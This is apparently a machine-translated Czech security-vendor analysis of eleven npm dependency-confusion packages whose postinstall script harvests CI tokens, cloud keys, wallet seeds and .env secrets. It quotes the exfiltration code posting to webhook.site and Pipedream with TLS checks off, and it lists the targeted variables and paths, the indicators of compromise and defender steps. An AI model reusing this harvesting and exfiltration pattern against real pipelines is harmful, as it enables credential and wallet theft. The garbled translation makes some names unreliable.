Zmatek kolem CryptoDAO: Sběr balíčků npm CI/CD a kryptoměnová tajemství

Zmatek kolem CryptoDAO: jedenáct npm balíčků, jeden payload, harvesting CI/CD a tajemství krypto peněženek

TL, DR

Dne 17. června 2026 byl zveřejněn jeden účet npm. jedenáct balíčků, které sdílejí jeden účel a jeden datový prostorDeset z nich nese cryptodao- předpona (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); jedenáctý je vymezený @public-for-cdao/coreKaždý z nich byl publikován ve verzi 99.99.99 a odesílá bajtově identický recon.js to běží dál postinstall.

Názvy jsou výmluvné. Čtou se jako vnitřní stavební kameny soukromého toolchainu krypto/DAO projektu. Jsou publikovány ve veřejném registru npm v uměle vysoké verzi a čekají na sestavení. pipeline který je nakonfigurován k překladu těchto názvů a který se dostane k veřejnému registru npm před – nebo místo – soukromého registru. Toto je zmatek ze závislostia užitečné zatížení je vyladěno přesně na místo, kde se očekává dopad: CI/CD běžci.

Kdy postinstall požáry, recon.js shromažďuje podrobnosti o hostiteli, zhruba prohledává čtyřicet proměnných prostředí cloudu, CI a kryptopeněženky, čte libovolné .env soubory, které dokáže najít, a doslovně přepošle řádky s tajným textem, poté odešle balíček dvěma sběratelům – webhook.site a koncový bod Pipedream – s vypnutým ověřováním certifikátu TLS. Kopie je také napsána pod /tmp.

Vážnost: vysokýDotčený ekosystém: NpmVšech jedenáct balíčků bylo v době psaní tohoto textu aktivních.

Anatomie útoku

Mechanismus má čtyři pohyblivé části a žádná z nich není nenápadná, jakmile víte, podívejte se o jednu vrstvu dál než za název balíčku.

1. Inflace verzí jako návnada pro resolvery. Každý balíček deklaruje verzi 99.99.99Zmatek závislostí funguje, když správce balíčků požádá o interní název, také kontroluje veřejný registr a vybírá nejvyšší verzi najde. Výchozí volba npm pro rozsah stříšek nebo zástupných znaků je nejuspokojivější verze napříč všemi konfigurovanými zdroji; pokud se jedná o soukromý registr a veřejná odpověď npm pro stejný název, vítězí větší číslo verze. A 99.99.99 v podstatě převyšuje jakoukoli skutečnou interní verzi, kterou projekt bude mít dosaženo, takže resolver, který není připnutý k soukromému zdroji, preferuje veřejný – a v tomto případě nepřátelský – text. Provozovatel nemusí znát skutečná čísla verzí cíle; výběr absurdního maxima vždy zaručuje remízu si razí cestu.

2. Spouštěč po instalaci. balíček.json propojuje užitečné zatížení s instalací životní cyklus:

{   "scripts": { "postinstall": "node recon.js" } }

Není vyžadován žádný import balíčku. Stačí ho nainstalovat – což je CI pipeline automaticky – běží recon.js.

3. Rozsáhlé tajné pátrání. recon.js sestavuje pole výsledků ve fázích:

  • Kontext hostitele: název hostitele, platforma a verze, architektura, uživatelské jméno, funkčnost adresáře.
  • Proměnné prostředí: iteruje pevný seznam asi čtyřiceti jmen a záznamů všechny, které jsou nastaveny. Seznam je výmluvný – páruje generické tokeny CI (CI_JOB_TOKEN, HESLO_K_REGISTRACI_CI, GITLAB_ACCESS_TOKEN) a cloud pověření (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) s tajnými kódy registru a kontejneru (NPM_TOKEN, DOCKER_PASSWORD, PŘÍSTAVNÍ_HESLO) a cluster s výrazně kryptoměnovou příchutí:  SOUKROMÝ_KLÍČ, MNEMOTECHNIKA, SEED_PHRASE, INFURA_API_KEY, KLÍČ_KONTAKTU_ALCHEMY_API, ETH_RPC, BSC_RPCZaznamenané hodnoty jsou zkráceny na prvních 50 znaků.
  • .env soubory: prohledává seznam cest — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /domov/gitlab-runner/.env, /root/.env, a .Výroba/.rozvoj varianty – a pro jakýkoli existující soubor filtruje obsah na řádky odpovídající KLÍČ|TAJEMSTVÍ|TOKEN|HESLO|SOUKROMÉ|MNEMONICKÁ POMOCNÁ TECHNIKA a vloží tyto řádky **v plném znění, nezkrácené** do výsledků.
  • Kontext hostitele sestavení: vypíše prvních 20 položek /staví/, /domů/gitlab-runner/sestavení/, /var/lib/gitlab-runner/, a / tmp /.

Seznam cest a seznam proměnných jsou váženy směrem k běžcům GitLabu, což ukazuje datové zatížení přímo na infrastruktuře CI hostované samostatně, nikoli na vývojáři notebook. Seskupení seznamu úlovků podle kategorií zjednodušuje zamýšlený úlovek:

Kategorie Dosažené proměnné / cesty
CI/CD identita a nasazení CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
mrak AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Registr a kontejner NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Datová úložiště DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Kryptoměny / blockchain PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Zprávy SLACK_TOKEN, DISCORD_TOKEN
Na disku .env rodina + /home/gitlab-runner/.env, /root/.env, /app/**/.envvýpisy z adresáře /builds/, /var/lib/gitlab-runner/

Krypto cluster je to, co odlišuje toto od obecného CI-secret. sweep: fráze pro peněženku a podpisové klíče se zobrazují pouze v prostředí blockchainový projekt a ty se přímo mapují na kryptodao-/znamení/smlouvy pojmenování dopravců.

4. Dvojí exfiltrace s deaktivovaným ověřením. Sesbírané pole je serializováno a odesláno na dvě destinace:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

odmítnoutNeautorizované: false vypne kontroly certifikátů TLS pro odchozí volání. Stejná data se vypíší na stdout (takže se dostanou i do protokolů úloh CI) a napsáno komu /tmp/.npm_recon_ .jsonChyby jsou tiše polykány, takže Neúspěšné odeslání nezanechává v instalačním výstupu žádnou stopu kromě jediné průzkum nainstalováno na čára.

Úvodní komentář v souboru to popisuje jako „Zmatek závislostí“. „Průzkumné užitečné zatížení.“ Zkrácení hodnot prostředí na 50 znaků bylo tvar konceptuálního důkazu. Co ho posouvá za hranice signálu pouze pro přítomnost, je .env zpracování: linky s tajným obsahem jsou přeposílány v plném rozsahu a cílové adresy jsou dva funkční, útočníkem ovládané sběrače, spíše než jeden sink, který se počítá pouze zásahy.

Timeline

Publikační vzor je podpisem jednoho skriptovaného push, nikoli jedenácti. nezávislé nahrávání.

Čas (UTC, 17. 06. 2026) událost
03:24:58 cryptodao-bot@99.99.99 zveřejněn
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — varianta s rozsahem, ~24 minut později

Deset balíků bylo odesláno během 29 sekund, zhruba jeden každé tři sekundy. Vymezený @public-for-cdao/core následovalo asi 24 minut poté — sekundu konvence pojmenování pro stejný cíl, v případě, že se na něj odkazuje projekt, který jej využívá interní řetězec nástrojů v rámci rozsahu, nikoli jako holá jména.

Ukazatele kompromisu

Typ Indikátor
Kolektor hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Kolektor hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Instalace háku postinstall: node recon.js
Přetažený soubor /tmp/.npm_recon_<timestamp>.json
Značka protokolu [recon] <pkg>@<ver> installed on <hostname> (stdout v protokolech CI)
Behaviorální rejectUnauthorized: false na odchozím HTTPS během instalace
Užitné zatížení recon.js, identické napříč všemi jedenácti balíčky (jedno sdílené sestavení)
Verze 99.99.99 na každém balíčku
Balíčky cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (Všechno 99.99.99)
Vydavatel aduljune / aduljune@proton.me (e-mail neověřený, žádný odkaz na zdrojový repozitář)

 Atribuce a pozorované chování

Všechno na clusteru ukazuje na jednu stranu. Všech jedenáct balíčků bylo publikováno. prostřednictvím účtu npm aduljune (aduljune@proton.me, neověřená adresa bez propojeného zdrojového repozitáře), v rámci 25minutového rozmezí, ve stejnou dobu 99.99.99 verze, přeprava recon.js jejichž obsah je bajt po bajtu identický napříč všemi balíček (MD5 se shoduje napříč všemi jedenácti extrahovanými kopiemi). To je jeden datový obsah vyraženo do seznamu jmen, nikoliv nezávislé opětovné použití kódu.

Seznam jmen definuje zamýšlený cíl. kryptodao-* a cdao Popiš rozvržení privátního modulu krypto/DAO projektu a seznam sklizně pro daný payload zrcadla, která hádají: vedle obecných tajných informací o CI a cloudu, to konkrétně sahá po SOUKROMÝ_KLÍČ, MNEMOTECHNIKA, SEED_PHRASEa RPC Ethereum/BSC a klíče poskytovatele. .env Vyhledávací cesty a výpisy adresářů jsou běžící na GitLabu specifické. Pozorovatelným účinkem je, že jakýkoli pipeline podveden k instalaci těchto názvy by přeposílaly své tokeny CI, cloudové klíče a data na disku .env tajemství – a pro blockchainový projekt, jeho materiál pro peněženku – dvěma externím sběratelům.

Nevydáváme žádná tvrzení o tom, kdo účet spravuje ani co s ním plánoval udělat. data. Fakta, která stojí sama o sobě: názvy cílí na specifický druh interní řetězec nástrojů, užitečné zatížení čte a přenáší skutečné tajné hodnoty a infrastruktura byla aktivní.

Dopad, trendy a rady pro obránce

Zmatek ohledně závislostí zůstává efektivní, protože využívá chování resolveru, nikoli zranitelnost v jakémkoli balíku. Nosič je zde triviální – jedenáct téměř prázdných balíčky – ale poloměr výbuchu je libovolný pipeline mylně preferuje veřejné npm pro interní název. Běžci CI jsou pro to nejhorším místem: drží přesně ty žetony a .env soubory, které toto datové zatížení čte, a ty instalují závislosti neinteraktivně, takže a po instalaci běží, aniž by se na něj někdo díval.

Tento klastr také odpovídá vzorci, který neustále pozorujeme: datové části v době instalace, které prezentují jako „výzkum“ nebo „průzkum“ při skutečném shromažďování pověření. Označení v souboru nemění, co kód dělá na běžci. Zachovávají se dvě možnosti návrhu tichá aktivita: každá síťová a souborová operace je zabalena v obslužná rutina výjimek, která zahazuje chyby, například blokované odeslání nebo chybějící soubor neprodukuje žádný diagnostický výstup a jediné, co se vytiskne, je jeden neškodný [průzkum] … nainstalováno linka, která splývá s běžným instalačním štěbetáním. Použití webhook.site a Pipedream je také záměrné pohodlí – obojí je zdarma, okamžitě zřizované služby pro zachycení požadavků, takže operátor nepotřebuje žádné servery jejich vlastní a cíle vypadají v odchozích protokolech jako běžné názvy hostitelů SaaS.

Právě ekonomické důvody stojí za pozornost obránce, i když... kód operátora je triviální. Registrace jedenácti jmen nic nestojí, užitečná zátěž je jedna soubor zkopírovaný jedenáctkrát a správce balíčků provádí veškeré spuštění. Jeden špatně nakonfigurováno pipeline kdekoli, kdo konzumuje jedno z těchto jmen, platí za celou cenu provoz.

Konkrétní kroky pro obránce:

  • Připněte interní obory do svého soukromého registru. Nakonfigurujte npm tak, aby obsahoval interní názvy
     a obory se řeší pouze s vaším registrem (mapování registru .npmrc s vymezeným oborem,
    (nebo proxy, která se nikdy nepropojí s veřejným npm pro vlastněné jmenné prostory). Rezervujte si názvy veřejných oborů, aby je nikdo jiný nemohl zaregistrovat.
  • Commit lockfiles a nainstalujte s –ignore-scripts v CI kde je to proveditelné, nebo prověřit malou sadu závislostí, které skutečně potřebují instalační skripty.  Soubor recon.js nelze spustit, pokud po instalaci není proveden.
  • Zacházejte s verzí názvu vypadajícího jako interní, která je 99.99.99 (nebo jinou absurdně vysokou cenou). jako rudá vlajka v kontrole závislostí a monitorování registru.
  • Upozornění na výstupní signál během instalace. A po instalaci který otevírá odchozí HTTPS připojení – zejména s vypnutým ověřováním certifikátů – k Služby webhook.site, Pipedream nebo podobné služby pro zachycení požadavků se vyplatí blokovat na okraji sítě a označovat je v protokolech sestavení.
  • Hledejte artefakty. Zkontrolujte běžce, zda /tmp/.npm_recon_*.json a pro [rekonstrukce] … nainstalováno na … značce v nedávných protokolech CI. Pokud je nalezena, otočit každou pověření vystavené tomu pipeline — Tokeny CI, cloudové klíče, tokeny registru a jakékoli seedy peněženek nebo soukromé klíče přítomné v prostředí nebo souborech .env.

Reference

V době psaní neexistovaly žádné externí zprávy o tomto klastru; analýza výše uvedený text je přímo založen na zveřejněném obsahu balíčku

nástroje pro analýzu složení softwaru SCA
Stanovte priority, opravte a zabezpečte svá softwarová rizika
Získejte svůj bezplatný účet.
Nevyžaduje se žádná kreditní karta.

Zajistěte si vývoj a dodávky softwaru

s produktovým balíčkem Xygeni